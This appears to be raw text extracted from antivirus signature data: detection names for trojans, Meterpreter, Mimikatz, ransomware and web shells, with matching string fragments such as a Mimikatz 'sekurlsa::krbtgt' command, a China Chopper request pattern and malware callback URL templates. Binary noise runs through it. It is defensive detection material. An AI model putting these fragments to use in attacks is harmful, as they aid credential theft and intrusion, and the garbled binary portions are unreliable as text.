_#LOWFI:Lua:ContextualDropFileChromeU* _#LOWFI:Lua:ContextualDropFileFirefox _#LOWFI:Lua:ContextualDropFileFirefoxU.= X_#LOWFI:Lua:ContextualDropFileSkypeExtBin X_#LOWFI:Lua:ContextualDropFileSkypeExtBinU1 _#LOWFI:Lua:ContextualDropFileSkypeExtOffice _#LOWFI:Lua:ContextualDropFileSkypeExtOfficeU2B $_#LOWFI:Lua:ContextualDropFileSkypeExtArchive $_#LOWFI:Lua:ContextualDropFileSkypeExtArchiveU2 _#LOWFI:Lua:ContextualDropFileSkypeDefaultBin _#LOWFI:Lua:ContextualDropFileSkypeDefaultBinU5i ~_#LOWFI:Lua:ContextualDropFileSkypeDefaultOffice ~_#LOWFI:Lua:ContextualDropFileSkypeDefaultOfficeU6] _#LOWFI:Lua:ContextualDropFileSkypeDefaultArchive _#LOWFI:Lua:ContextualDropFileSkypeDefaultArchivez 25b3513fc5f0 OfficeLaunchesWmi  25b3663b0782  25b39c330726  69b3b5a9042a  sEF@  !#TEL:MacroLibKernel32 ByVal Mldg = \"Fehler # \" & Str(Err.Number) & \" wurde ausgel If Selection.Type = wdSelectionIP Then 'Insertion point... means it's not selected MsgBox (\"Word could not communicate with Zotero. Please ensure Zotero is running and try again BULKEXPORTINDEX = \"XUM\" 63d74a34af5f W63d74a34af5f 65d759637238 W65d759637238 69d79d049062 W69d79d049062 6bd74f5f9e2c W6bd74f5f9e2c 6bd75c1bd5e2 W6bd75c1bd5e2 d1d77950b1dc Wd1d77950b1dc e3d77e0a105a We3d77e0a105a MpInternal_Lua:ThrottleAttribute.5000 &MpInternal_Lua:ThrottleAttribute.5000 6fb347ed3ea1 d4f940ab-401b-4efc-aadc-ad5f3c50688a %d4f940ab-401b-4efc-aadc-ad5f3c50688a 75b3804b448b 51b3453d88af 51b3453d88afIncludesBMLuaLib 51b34af10a7e 51b34af10a7eIncludesBMLuaLib 45b3f8eb1f25  95b3d5503600   !#SLF:Context/Kovter.B!lnk !#SLF:Context/Kovter.B!lnkObMpAttributes  !#SLF:Context/Kovter.C !#SLF:Context/Kovter.CObMpAttributes opyright OriginalFilenamesyncengj%   $ @@#g.a RSDSf0+ dbmsrpcn.pdb dbmsrpcn.pdb3 DBMSRPCN.DLL ConnectionClose ConnectionObjectSize DBMSRPCN.DLLConnectionCloseConnectionObjectSize FileDescriptionWindows dbmsrpcn Library InternalNamedbmsrpcn OriginalFilenamedbmsrpcnj%   $ @@$g.a API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLLRSDS api-ms-win-core-localization-l1-1-0.pdb FileDescriptionWindows api-ms-win-core-localization-l1-1-0 Library FileVersion10.0.10126.0 (GitEnlistment(amopslocal).210831-1009)h$ InternalNameapi-ms-win-core-localization-l1-1-0  Microsoft Corporation. All rights reserved.p$ OriginalFilenameapi-ms-win-core-localization-l1-1-0j%   $ @@(g.a api-ms-win-core-io-l1-1-0.dll CreateIoCompletionPort kernel32.CreateIoCompletionPort kernel32.DeviceIoControl GetOverlappedResult kernel32.GetOverlappedResult GetQueuedCompletionStatus kernel32.GetQueuedCompletionStatus PostQueuedCompletionStatus kernel32.PostQueuedCompletionStatus RSDSsNdD api-ms-win-core-io-l1-1-0.dllCreateIoCompletionPortkernel32.CreateIoCompletionPortDeviceIoControlkernel32.DeviceIoControlGetOverlappedResultkernel32.GetOverlappedResultGetQueuedCompletionStatuskernel32.GetQueuedCompletionStatusPostQueuedCompletionStatuskernel32.PostQueuedCompletionStatusRSDSsNdD api-ms-win-core-io-l1-1-0.pdb StringFileInfoF FileDescriptionWindows api-ms-win-core-io-l1-1-0 Library FileVersion10.0.10126.0 (GitEnlistment(amopslocal).210831-1009)T InternalNameapi-ms-win-core-io-l1-1-0  Microsoft Corporation. All rights reserved.\\ OriginalFilenameapi-ms-win-core-io-l1-1-0j%   $ @@/e.a dpnhupnp.pdb dpnhupnp.pdb3 DPNHUPNP.DLL DPNHUPNP.DLLDllCanUnloadNowDllRegisterServerDllUnregisterServerDllGetClassObject FileDescriptionWindows dpnhupnp Library InternalNamedpnhupnp OriginalFilenamedpnhupnpj%   $ .text{ @@0e.a iskCopyRunDllWcom:asm.v1\"yToken=\"6595b64 FAT12 Disk I/O any keyDOS   SY$B#DB%1$C3DCDCDDEdDGEQ$ESDE ONFIG ETRAMD SPI4DOS TCDROM SPI2DOS_XcptFiltersetusermatheadjust_fdiv%20Windows%20VB RSDSt SPI2DOS_XcptFiltersetusermatheadjust_fdiv%20Windows%20VBRSDSt diskcopy.pdb diskcopy.pdb3 lc.aL DISKCOPY.DLL DISKCOPY.DLLDllCanUnloadNowDllGetClassObject FileDescriptionWindows diskcopy Library InternalNamediskcopy OriginalFilenamediskcopyj% 6e788cf075ae  6e78e70d6c96  6f782641d577  6f7832360fb5  6f78b7005b71  707850c4e973  7078746cc95a  70788727773b  7178c6205f37  727832380ad4  727865a93c30  72787eabf4e6  7278eaf66663  73781163b4f5  7378c62df341  7378f372dedd  747819b1ef73  747834fbe85d  7478831c20e3  7478b42bc5e2  75782cd97c10  757887b62bb8  7578d17e2e36  7578fb091115  767870f2c92c  767871dba105  7678d5c4f6be  7678f261e805  7778ddcc98b4  7878691ccfa3  7878b2bca476  7878fd640a02  7978614a07e0  79787df2c0b1  7a78c552e1c1  7b78dd1a5848  7b78e6f52dbd  7c7818b044be  7d784db15404  7d78ff016654  7e783c4816d7  7e78a253f183  80610917e292  8078d802e4de  8178f1fccf20  827862845ae6  8278bd91a6fb  !#SLF:AGGR:ExeFileDropBySystemProc!l_root s)F!#SLF:AGGR:ExeFileDropBySystemProc!l_root !#SLF:AGGR:ExeFileDropBySystemProc!m_root s)F!#SLF:AGGR:ExeFileDropBySystemProc!m_root !#SLF:AGGR:ExeFileDropBySystemProc!n_root s)F!#SLF:AGGR:ExeFileDropBySystemProc!n_root !#SLF:AGGR:ExeFileDropBySystemProc!o_root s)F!#SLF:AGGR:ExeFileDropBySystemProc!o_root !#SLF:AGGR:ExeFileDropBySystemProc!p_root s)F!#SLF:AGGR:ExeFileDropBySystemProc!p_root !#SLF:AGGR:ExeFileDropBySystemProc!q_root s)F!#SLF:AGGR:ExeFileDropBySystemProc!q_root !#SLF:AGGR:ExeFileDropBySystemProc!r_root s)F!#SLF:AGGR:ExeFileDropBySystemProc!r_root !#SLF:AGGR:ExeFileDropBySystemProc!s_root s)F!#SLF:AGGR:ExeFileDropBySystemProc!s_root !#SLF:AGGR:ExeFileDropBySystemProc!sysdir s)F!#SLF:AGGR:ExeFileDropBySystemProc!sysdir !#SLF:AGGR:ExeFileDropBySystemProc!t_root s)F!#SLF:AGGR:ExeFileDropBySystemProc!t_root !#SLF:AGGR:ExeFileDropBySystemProc!u_root s)F!#SLF:AGGR:ExeFileDropBySystemProc!u_root !#SLF:AGGR:ExeFileDropBySystemProc!v_root s)F!#SLF:AGGR:ExeFileDropBySystemProc!v_root !#SLF:AGGR:ExeFileDropBySystemProc!w_root s)F!#SLF:AGGR:ExeFileDropBySystemProc!w_root !#SLF:AGGR:ExeFileDropBySystemProc!windir s)F!#SLF:AGGR:ExeFileDropBySystemProc!windir !#SLF:AGGR:ExeFileDropBySystemProc!x_root s)F!#SLF:AGGR:ExeFileDropBySystemProc!x_root !#SLF:AGGR:ExeFileDropBySystemProc!y_root s)F!#SLF:AGGR:ExeFileDropBySystemProc!y_root !#SLF:AGGR:ExeFileDropBySystemProc!z_root s)F!#SLF:AGGR:ExeFileDropBySystemProc!z_root s*E!#AGGR:PowerShell/PSExploitDynamicAssembly !#SLF:HackTool:PowerShell/Internalon.I!MTB s*E!#SLF:HackTool:PowerShell/Internalon.I!MTB !#ALF:TrojanDownloader:O97M/EncDoc.TOTG!MTB s+D!#ALF:TrojanDownloader:O97M/EncDoc.TOTG!MTB !#ALF:TrojanDownloader:O97M/EncDoc.TOTH!MTB s+D!#ALF:TrojanDownloader:O97M/EncDoc.TOTH!MTB !#ALF:TrojanDownloader:O97M/EncDoc.TOTI!MTB s+D!#ALF:TrojanDownloader:O97M/EncDoc.TOTI!MTB !#ALF:TrojanDownloader:O97M/EncDoc.TOTJ!MTB s+D!#ALF:TrojanDownloader:O97M/EncDoc.TOTJ!MTB !#SLF:HackTool:PowerShell/Internalon.A1!MTB s+D!#SLF:HackTool:PowerShell/Internalon.A1!MTB !#AllowList:Trojan:PowerShell/Exclusion.SA!MTB s.A!#AllowList:Trojan:PowerShell/Exclusion.SA!MTB !#AllowList:Trojan:PowerShell/Exclusion.SB!MTB s.A!#AllowList:Trojan:PowerShell/Exclusion.SB!MTB !#AllowList:Trojan:PowerShell/Exclusion.SC!MTB s.A!#AllowList:Trojan:PowerShell/Exclusion.SC!MTB !#ALF:Exploit:Script/PulseSecureTempFileUse.A!dha s1>!#ALF:Exploit:Script/PulseSecureTempFileUse.A!dha !#ALF:AGGR:LUA:DroppedExeWithNoCertInStartUpFolder.A!gen s87!#ALF:AGGR:LUA:DroppedExeWithNoCertInStartUpFolder.A!gen !#BM_AT:AADADFS_utils [!#BM_AT:AADADFS_utils !#AGGREGATOR:VBSDropB64Temp U!#AGGREGATOR:VBSDropB64Temp !#PoCExchgSoapVulnPathFrags U!#PoCExchgSoapVulnPathFrags !#SLF:RtfFileAttachment.EA!bat R!#SLF:RtfFileAttachment.EA!bat !#SLF:RtfFileAttachment.EA!cmd R!#SLF:RtfFileAttachment.EA!cmd !#SLF:RtfFileAttachment.EA!com R!#SLF:RtfFileAttachment.EA!com !#SLF:RtfFileAttachment.EA!exe R!#SLF:RtfFileAttachment.EA!exe !#SLF:RtfFileAttachment.EA!hta R!#SLF:RtfFileAttachment.EA!hta !#SLF:RtfFileAttachment.EA!jar R!#SLF:RtfFileAttachment.EA!jar !#SLF:RtfFileAttachment.EA!jse R!#SLF:RtfFileAttachment.EA!jse !#SLF:RtfFileAttachment.EA!lnk R!#SLF:RtfFileAttachment.EA!lnk !#SLF:RtfFileAttachment.EA!pif R!#SLF:RtfFileAttachment.EA!pif !#SLF:RtfFileAttachment.EA!ps1 R!#SLF:RtfFileAttachment.EA!ps1 !#SLF:RtfFileAttachment.EA!scr R!#SLF:RtfFileAttachment.EA!scr !#SLF:RtfFileAttachment.EA!vbe R!#SLF:RtfFileAttachment.EA!vbe !#SLF:RtfFileAttachment.EA!vbs R!#SLF:RtfFileAttachment.EA!vbs !#SLF:RtfFileAttachment.EA!wsf R!#SLF:RtfFileAttachment.EA!wsf !#SLF:RtfFileAttachment.EA!wsh R!#SLF:RtfFileAttachment.EA!wsh !#Phish:PHP/Post_pkt_pat1.GG!MTB t P!#Phish:PHP/Post_pkt_pat1.GG!MTB !#TEL:Trojan:MSIL/AgentTesla.RT!MTB t#M!#TEL:Trojan:MSIL/AgentTesla.RT!MTB !#TEL:Trojan:PowerShell/WannaMine.X t#M!#TEL:Trojan:PowerShell/WannaMine.X !#ALF:Exploit:Script/Driftwood.A!dha t$L!#ALF:Exploit:Script/Driftwood.A!dha !#ALF:VirTool:PowerShell/Impez.B!MTB t$L!#ALF:VirTool:PowerShell/Impez.B!MTB !#ALF:Backdoor:Perl/Steadypulse.A!dha t%K!#ALF:Backdoor:Perl/Steadypulse.A!dha !#ALF:Trojan:Android/Generality.C!dha t%K!#ALF:Trojan:Android/Generality.C!dha !#ALF:Trojan:Win32/Cassini_100fd735!ibt t'I!#ALF:Trojan:Win32/Cassini_100fd735!ibt !#ALF:Trojan:Win32/Cassini_3a91dee0!ibt t'I!#ALF:Trojan:Win32/Cassini_3a91dee0!ibt !#ALF:Trojan:Win32/Cassini_d7752493!ibt t'I!#ALF:Trojan:Win32/Cassini_d7752493!ibt !#TEL:HackTool:MSIL/SharpPrintNightmare t'I!#TEL:HackTool:MSIL/SharpPrintNightmare !#TEL:O97M/PossibleDonoffWithPassword.A t'I!#TEL:O97M/PossibleDonoffWithPassword.A !#ALF:TrojanDownloader:O97M/Mratmc.A!ams t(H!#ALF:TrojanDownloader:O97M/Mratmc.A!ams !#SLFPER:AGGR:PowerShell/EncodedIEX!amsi t(H!#SLFPER:AGGR:PowerShell/EncodedIEX!amsi !#ALF:HSTR:Backdoor:Win32/ParalaxRat.ST01 t)G!#ALF:HSTR:Backdoor:Win32/ParalaxRat.ST01 !#SLF:SuspFilePersistenceByProc!cmstp.exe t)G!#SLF:SuspFilePersistenceByProc!cmstp.exe !#SLF:SuspFilePersistenceByProc!excel.exe t)G!#SLF:SuspFilePersistenceByProc!excel.exe !#SLF:SuspFilePersistenceByProc!mshta.exe t)G!#SLF:SuspFilePersistenceByProc!mshta.exe !#SLF:Trojan:PowerShell/Paraphernalia.B!MTB t+E!#SLF:Trojan:PowerShell/Paraphernalia.B!MTB !#AGG:AllowList:Win64/Recovery_Rapids.Unity.A t-C!#AGG:AllowList:Win64/Recovery_Rapids.Unity.A !#ALF:ExploitSwf a!#ALF:ExploitSwf !#do_deep_rescang a!#do_deep_rescang !#AGGR:Exploit:JS/EKeetz.A1 V!#AGGR:Exploit:JS/EKeetz.A1 !#TEL:Win32/VBObfuse.RA!MTB V!#TEL:Win32/VBObfuse.RA!MTB !#Trojan:MSIL/Tisifi.RA!MTB V!#Trojan:MSIL/Tisifi.RA!MTB !#TEL:AGGR:Linux/Coinminer.A U!#TEL:AGGR:Linux/Coinminer.A S!#AGGREGATOR:VBSDropB64EXETemp !#ALF:Trojan:HTML/Phish.PDH!MTB R!#ALF:Trojan:HTML/Phish.PDH!MTB !#ALF:Trojan:UEFI/EfiGuardDxe.A R!#ALF:Trojan:UEFI/EfiGuardDxe.A !#ALF:Trojan:O97M/Trickbot.SK!MTB u!P!#ALF:Trojan:O97M/Trickbot.SK!MTB !#ALF:Backdoor:Script/RpivotRelay.A u#N!#ALF:Backdoor:Script/RpivotRelay.A !#ALF:AGGR:SupplyChain.PassLoader.ST00A u'J!#ALF:AGGR:SupplyChain.PassLoader.ST00A !#ALF:Trojan:Win32/Cassini_49780dfd!ibt u'J!#ALF:Trojan:Win32/Cassini_49780dfd!ibt !#ALF:Trojan:Win32/Cassini_e1ed095b!ibt u'J!#ALF:Trojan:Win32/Cassini_e1ed095b!ibt !#ALF:TrojanDownloader:Java/Tnega.MB!MTB u(I!#ALF:TrojanDownloader:Java/Tnega.MB!MTB !#ALF:TrojanDownloader/CannonFresco.C!dha u)H!#ALF:TrojanDownloader/CannonFresco.C!dha !#ALF:TrojanDownloader/CannonFresco.D!dha u)H!#ALF:TrojanDownloader/CannonFresco.D!dha !#TEL:AGGR:XMLwithBase64PowerShellCommand u)H!#TEL:AGGR:XMLwithBase64PowerShellCommand !#ALF:TrojanDownloader:VBS/Donvibs.PMS!MTB u*G!#ALF:TrojanDownloader:VBS/Donvibs.PMS!MTB !#SLF:AGGR:ExeFileDropBySystemProc!desktop u*G!#SLF:AGGR:ExeFileDropBySystemProc!desktop !#SLF:AGGR:ExeFileDropBySystemProc!perflog u*G!#SLF:AGGR:ExeFileDropBySystemProc!perflog !#SLF:AGGR:ExeFileDropBySystemProc!startup u*G!#SLF:AGGR:ExeFileDropBySystemProc!startup !#SLF:AGGR:ExeFileDropBySystemProc!sysprof u*G!#SLF:AGGR:ExeFileDropBySystemProc!sysprof !#SLF:AGGR:ExeFileDropBySystemProc!usrtemp u*G!#SLF:AGGR:ExeFileDropBySystemProc!usrtemp !#SLF:AGGR:ExeFileDropBySystemProc!wintemp u*G!#SLF:AGGR:ExeFileDropBySystemProc!wintemp !#SLF:AGGR:FileDropBySystemProc!sysappdata u*G!#SLF:AGGR:FileDropBySystemProc!sysappdata !#ALF:Exploit:Script/GeneralityB.Script!dha u+F!#ALF:Exploit:Script/GeneralityB.Script!dha u/B!#SLFPER:Trojan:PowerShell/PSExploitShellCode.C !#O97M/Zloader d!#O97M/Zloader !#Exclude:dfsvc.ni.exe \\!#Exclude:dfsvc.ni.exe !#AGGR:AllowList:ExamSoft Y!#AGGR:AllowList:ExamSoft !#ALF:Trojan/PSUACBypass.A X!#ALF:Trojan/PSUACBypass.A !#ALF:Trojan/PSUACBypass.B X!#ALF:Trojan/PSUACBypass.B !#SLF:XML/XslJScriptCode.A X!#SLF:XML/XslJScriptCode.A !#AGGR:CryptoRSA_Machinekeys V!#AGGR:CryptoRSA_Machinekeys !#ALF:AGGR:Emotet.Download.s001 S!#ALF:AGGR:Emotet.Download.s001 !#ALF:Trojan:BAT/TwinGear.A!dha S!#ALF:Trojan:BAT/TwinGear.A!dha !#SLF:AGGR:SuspAmsiScanBypass.A S!#SLF:AGGR:SuspAmsiScanBypass.A !#TEL:Backdoor:Perl/Dirtelti.AS S!#TEL:Backdoor:Perl/Dirtelti.AS !#ALF:Exploit:HTML/Nebbier.A!dha v R!#ALF:Exploit:HTML/Nebbier.A!dha !#AGGR:MSIL/Obfuscator!Niciosansa v!Q!#AGGR:MSIL/Obfuscator!Niciosansa !#ALF:Backdoor:PHP/Dirtelti.UG!MTB v\"P!#ALF:Backdoor:PHP/Dirtelti.UG!MTB !#ALF:Backdoor:PHP/Dirtelti.UJ!MTB v\"P!#ALF:Backdoor:PHP/Dirtelti.UJ!MTB !#ALF:Exploit:Python/Psyselle.B!dha v#O!#ALF:Exploit:Python/Psyselle.B!dha !#ALF:Exploit:Script/Makeshift.B!dha v$N!#ALF:Exploit:Script/Makeshift.B!dha !#ALF:HackTool:Win32/Deepvoice.E!dha v$N!#ALF:HackTool:Win32/Deepvoice.E!dha !#ALF:Backdoor:PHP/PhishKITPage.A!MTB v%M!#ALF:Backdoor:PHP/PhishKITPage.A!MTB !#ALF:TrojanSpy:MSIL/AgentTesla.AX!MTB v&L!#ALF:TrojanSpy:MSIL/AgentTesla.AX!MTB !#ALF:Exploit:O97M/CVE-2017-0199.SR!MTB v'K!#ALF:Exploit:O97M/CVE-2017-0199.SR!MTB !#ALF:Trojan:Win32/Cassini_123dbbdd!ibt v'K!#ALF:Trojan:Win32/Cassini_123dbbdd!ibt !#ALF:Trojan:Win32/Cassini_fdc17213!ibt v'K!#ALF:Trojan:Win32/Cassini_fdc17213!ibt !#AGGR:MSILFOP:VirTool:MSIL/Obfuscator.BA v)I!#AGGR:MSILFOP:VirTool:MSIL/Obfuscator.BA !#SLF:SuspFilePersistenceByProc!cmdkey.exe v*H!#SLF:SuspFilePersistenceByProc!cmdkey.exe !#ALF:Exploit:Script/AndroidChromeVersionCheck.A!dha v4>!#ALF:Exploit:Script/AndroidChromeVersionCheck.A!dha !#//Possible_RubyCode ^!#//Possible_RubyCode !#ALF:Trojan:VBS/Zloader.A Y!#ALF:Trojan:VBS/Zloader.A !#Lua:CleanStubsExcludePath X!#Lua:CleanStubsExcludePath !#ALF:Phish:PHP/Antibot.GG!MTB U!#ALF:Phish:PHP/Antibot.GG!MTB !#ALF:Ransom:Win32/Sncupte.STA U!#ALF:Ransom:Win32/Sncupte.STA !#ALF:VirTool:MSIL/Smear.A!MTB U!#ALF:VirTool:MSIL/Smear.A!MTB !#TEL:LnkDownloadsViaPowerShell T!#TEL:LnkDownloadsViaPowerShell !#Trojan:Win32/SdbPrivElevation.B w!R!#Trojan:Win32/SdbPrivElevation.B !#ALF:VirTool:PowerShell/DizClp.A!MTB w%N!#ALF:VirTool:PowerShell/DizClp.A!MTB !#TEL:Trojan:MSIL/LoadInjector.PJ!ibt w%N!#TEL:Trojan:MSIL/LoadInjector.PJ!ibt !#TEL:TrojanDownloader:JS/Nemucod.JAO w%N!#TEL:TrojanDownloader:JS/Nemucod.JAO !#ALF:TrojanDownloader:O97M/EncDoc.STD w&M!#ALF:TrojanDownloader:O97M/EncDoc.STD !#AGGR:PowerShell/ExecutionPolicyBypass w'L!#AGGR:PowerShell/ExecutionPolicyBypass !#SLF:CmdSingleFileInsideArchive.A!7zip w'L!#SLF:CmdSingleFileInsideArchive.A!7zip !#SLF:JseSingleFileInsideArchive.A!7zip w'L!#SLF:JseSingleFileInsideArchive.A!7zip QoFP. Bw] bi R3PBAw[ K=2d*? Q|{Pa wGuw/  ]kZP oIt x [s&`/ lRvhX LSCN(1d 4C#Xbuv: \\~,KM n&>/ Rx=IR  Z\t,n Z\tZ-cJ  Z\tZ-cJ No'SR& 1EO# Lq^dM,bA 4pi$^ j^@\"{ d9\tDH%@ 33q14 llI>,  Z a7 q&N9;  Z!|' ~Ry_Hp DbHAZ  Z(VB Z(ZSN  Z(ZSN Fm0c! Z*EN=  Z*EN= -#,Wu Z.5[x  Z.5[x  Z/4x Z0R*h  Z0R*h  Z1 m  Z3GE lbZCLS Wu)Ke- E\\=*zP  Z5;} jUB;T Z8Q=  Z8Q= i@y5.Aa Z:ZklG_  Z:ZklG_ xP178  ZA7R x[/Yo[ nc>RA  ZH^O ZI}}$y  ZI}}$y  ZJ.5 =]PHx ZNL4u3Y  ZNL4u3Y ZOd=2L6>  ZOd=2L6> QfOAi |Y 'l@  ZR}/ ZS3/O  ZS3/O  ZSRy dwT{B 9f()UIe  ZX#^ :=@CwhG%  ZZ`V  Z[dO  Z] ^ 1ru 6?&pQ9@  Zd,y ZhUwo  ZhUwo u:uA( 2o mW Znwg\t  Znwg\t  ZoJ} Zp1^w\"V}  Zp1^w\"V} :A?r$  Zu6O $)@kHi yQsuv Y3QlE Zx f0c  Zx f0c  ZxZ/ NItsp  Zz0{  Zzwr (C&qa7E Z|-g%\"'  Z|-g%\"' |zEm*: Gw!|I7 -3xiA ;GRs% HDw^eM w6x(E- s/|Y| 'RxI)p4f^7e^ in32/Vundo.IH !#HSTR:VirTool:MSIL/GeneralPacker.H 4D5A90000300000004000000FFFF 4D5A90000300000004000000FFFFxL !#HSTR:VirTool:Win32/Obfuscator.ACV!Export lb_rat2.dll SnowShow1 lb_rat2.dllSnowShow1xL !#HSTR:VirTool:Win32/Obfuscator.PN!crypt.2 !#HSTR:Virus:Win32/Patchload.2 !#HSTR:Win32/Banload.ZEE.URL.1 artplic.com.br/images/next_go.php artplic.com.br/images/next_go.phpxL !#HSTR:Win32/EmotetCrypt.MX!MTB !#HSTR:Win32/Pumba.2 Arquivo danificado.    Alerta do Windows !#HSTR:Win32/Raccoon.D !#HSTR:Win64/Meterpreter!Kernel32.WaitForSingleObject !#HSTR:Wizrem.X1.PublisherSleepCycle !#Lowfi:HSTR:MSIL:Downreg.A bjectValue Downloader.exe bjectValueDownloader.exeRandomizexL !#Lowfi:HSTR:Win32/DriverUpdater.B name=\"SmartDriverUpdater.exe\" name=\"SmartDriverUpdater.exe\"xL !#Lowfi:HSTR:Win32/GetNow.B ,\"eventType\":13,\"eventName\":\"bundle\" ,\"eventType\":13,\"eventName\":\"bundle\"xL !#Lowfi:HSTR:Win32/Hrup http://%s/information.php?a=%s&b=%d&c=%d http://%s/information.php?a=%s&b=%d&c=%dxL !#Lowfi:HSTR:Win32/Obfuscator.Enigma TEnigmaProtectorLoaderTimer TEnigmaProtectorLoaderTimerxL !#Lowfi:HSTR:Win32/Obfuscator.WinLicense WinLicenseDriverVersion WinLicenseDriverVersionxL !#Lowfi:HSTR:Win32/Softobase.B http://download.softobase.com/ru/ http://download.softobase.com/ru/xL !#Lowfi:HSTR:Win32/Solimba.C dmgr.Properties.Resources.resources dmgr.Properties.Resources.resourcesxL !#PWS:Win32/Fareit.MV!MTB !#Possible:Trojan:Kovter WinSock 2.0 Running !#SLF:HSTR:Exploit:MS1710 !#SLF:Win32/WannaCrypt.B!rsm !#TEL:Trojan:Win32/Dukozy_RC4_key A0E1054B-01EE-4D57-A059-4D99F339709F} A0E1054B-01EE-4D57-A059-4D99F339709F}xL !#ALF:Trojan:Win32/Booktoo.B!dha \\dc_dwm_oob\\ \\SEP_WriteFile\\ \\SEP_WriteFile\\xL !#HSTR:Nivdort.BZ!jump !#HSTR:Ransom:Win32/Reveton.gen!B2 !#HSTR:Win32/Meterpreter!ole32 OLE32 j2hole3 !#HSTR:Win32/Meterpreter!ole32_APIs !#HSTR:Win64/Meterpreter!Kernel32.LoadLibraryA !#HSTR:Ransom:Win32/Reveton.gen!B1 !#ALF:HSTR:MSIL:Packer:S001 d/\"xL !#ALFPER:Meterpreter.gen!D!ws2_32 ]h32hws2_ThLw& !#HSTR:Backdoor:MSIL/Getob.D!A boteg.exe boteg.exe<Module> boteg.pdb boteg.pdbxL !#HSTR:Trojan:Win32/C2Lop.gen!I ;%G6- !#HSTR:Trojan:Win32/SpyNoon.AMPV6!MTB Ixkdoc VirtualProtectxL !#HSTR:VirTool:Win32/Antihv.A!Bios SystemBiosVersion VRTUAL VRTUALxL !#HSTR:VirTool:Win32/VBInject.ADS HijackAplication zDecoder zDecoderxL company.srl bethel.exe bethel.exexL !#TEL:VirTool:Win32/Foovoola.A <>\\uS !#ALF:Trojan:Win32/BdDolphin.A!dha \\bd_work\\bd\\ \\Dolphin !#ALF:Trojan:Win32/DarkShadowRecognizer.A!dha \\DotNETRecognizer\\ \\DotNETRecognizer\\xL !#HSTR:AutoAttrMsil_1C42766A ssembly.Memory ver.exe efsPro efsProxL !#HSTR:AutoAttrMsil_89EFB743 der.exe nder.e r.Form1.resour r.Form1.resourxL !#HSTR:AutoAttrMsil_D0DCD262 LateGe nIndent TabPagexL !#HSTR:Trojan:Win32/VBObfuse.AKI!MTB / !#HSTR:TrojanSpy:Win32/Wekrober_crypt !#HSTR:TrojanSpy:Win32/Wekrober_cryptd !#ALF:HSTR:Trojan:Win32/Beeldeb.D!bit !#ALF:Ransom:Win32/Ryuk.ZY SVW`2 !#ALF:Trojan:Win32/Zloader.ZY !#ALFPER:HSTR:ConvertAdEnc.A1 !#ALFPER:MeterpreterLoaderx86 !#EFI_BLUETOOTH_IO_SERVICE_BINDING_PROTOCOL_GUID !#EFI_BUS_SPECIFIC_DRIVER_OVERRIDE_PROTOCOL_GUID !#EFI_NETWORK_INTERFACE_IDENTIFIER_PROTOCOL_GUID !#HSTR:EnableDeepAnalysisForGoldMax main.send_co mand_result !#HSTR:Knonyme_filedecode.A !#HSTR:Nivdort.EK!GetProcAddress !#HSTR:Possible:Crowti !#HSTR:PossiblyClean:AppViewer.URL.A .cmoney.tw/appxM !#HSTR:SonoControl_Bundler sonocontrol.com Sono Control sonocontrol.comPublisherSono ControlxM !#HSTR:TrojanDownloader:Win32/Small.IJ !#HSTR:TrojanSpy:Win32/Nivdort.G7 !#HSTR:VirTool:Win32/Obfuscator.PN!crc_key_2 !#HSTR:VirTool:Win32/Obfuscator.PN!k4_k5.0_345C !#HSTR:Win32/Meterpreter!Kernel32.WaitForSingleObject !#Injector.DH !#Lowfi:HSTR:Win32/ArcadeYum $ArcadeYum SoftwarxM !#Lowfi:HSTR:Win32/Fenomen http://www.fenomen-games.com/dhome.htm http://www.fenomen-games.com/dhome.htmxM !#Lowfi:HSTR:Win32/MediaGet <mediagetLaunched></mediagetLaunched> <mediagetLaunched></mediagetLaunched>xM !#Lowfi:HSTR:Win32/Meinhudong username=%s&taskid=%s&action=taskok username=%s&taskid=%s&action=taskokxM !#Lowfi:HSTR:Win32/Solimba.D http://api.downloadmr.com/installer/ http://api.downloadmr.com/installer/xM !#Lowfi:HSTR:Win32/Wajam http://www.wajam.com/webenhancer/logging http://www.wajam.com/webenhancer/loggingxM !#Lowfi:HSTR:Win32/Widdit D:\\Main\\InstHelper\\Release\\cinshlpr.pdb D:\\Main\\InstHelper\\Release\\cinshlpr.pdbxM !#Lowfi:HSTR:Win32/WuJi http://tongji.bianya.cc/popup.ashx?type=0 http://tongji.bianya.cc/popup.ashx?type=0xM !#TEL:HSTR:Trojan:Win64/Solorigate.SA!dha !#TEL:SoftwareBundler:Win32/OutBrowse.E \\exe.zip !#TrojanSpy:Win32/Bancos.gen!K_1 !#obfuscator_possible_Recslurp_1 !#HSTR:Nivdort.BW!jump !#HSTR:Win32/Kyucap !#ALF:HSTR:Adware:Win32/Hicosmea @@YAPEADPEADPEAK@Z @@YAPEADXZ @@YAPEADXZxM !#ALFPER:HSTR:LeftForce [{LeftForce}] [{LeftForce}]xM !#HSTR:DisableAMSI.Patch.B WAVAWH !#HSTR:MonitoringTool:Win32/QASpy.1 \\Qa Screen Spy\\ wmspdmvoe wmspdmvoexM !#HSTR:Trojan:Win32/EyeStye_01 !#HSTR:Trojan:Win32/SpyNoon.AMPV63!MTB Hfkeoc VirtualProtectxM !#SLFPER:Exploit:Win32/Belmont.V!dha ExpLib.dll ExploitNetIo ExploitNetIoxM !#TEL:Constructor:Win32/Netwire.A!RAT NetWire World Wired Labs World Wired LabsxM !#Win32/Bambalam_HSTR1 BAMBALAM_GETINI.PHP BAMBALAM_INIT.PHP BAMBALAM_INIT.PHPxM !#BanloadExclusion \\profin.ini \\acesso.pfn ProFIN Comercial ProFIN ComercialxM !#HSTR:Tesch_B64_Decryption !#ALF:Exploit:Win32/RoofRaiser.G!dha CreatePipe !#ALFPER:NTApiHash.A !#HSTR:Win32/Vundo.gen!AS !#TEL:HackTool:Win32/Mimikatz.NPTT sekurlsa::krbtgt !#Trojan:MSIL/BlackFus.B !#HSTR:obfuscator_oa_type00A !#ALF:HSTR:MITM:CrushArcade CrushArcade SoftwarxN !#ALF:HSTR:PWS:Win32/QQPass.CKH!bit C:\\WINDOWS\\system32\\myhook.dll C:\\WINDOWS\\system32\\myhook.dllxN !#ALF:HSTR:Trojan:Win32/Injector.YZ!bit !#ALF:HSTR:VirTool:Win32/Injector.S0F 2D$92 !#ALF:PWS:Win32/Zbot.RH!MTB !#ALF:Trojan:MSIL/Chopper request.item[\"z1\"] @request.item[\"z2\"] @request.item[\"z2\"]xN !#ALF:Trojan:Win32/VBKrypt.BF!MTB !#ATTRIBUTE:HSTR:ThirdPartyAlgo.A!bit !#FakeCert!METSPCA2018 !#FakeCert!METSRCA2018 !#FakeCert!MOSICICA2012 S[dxN 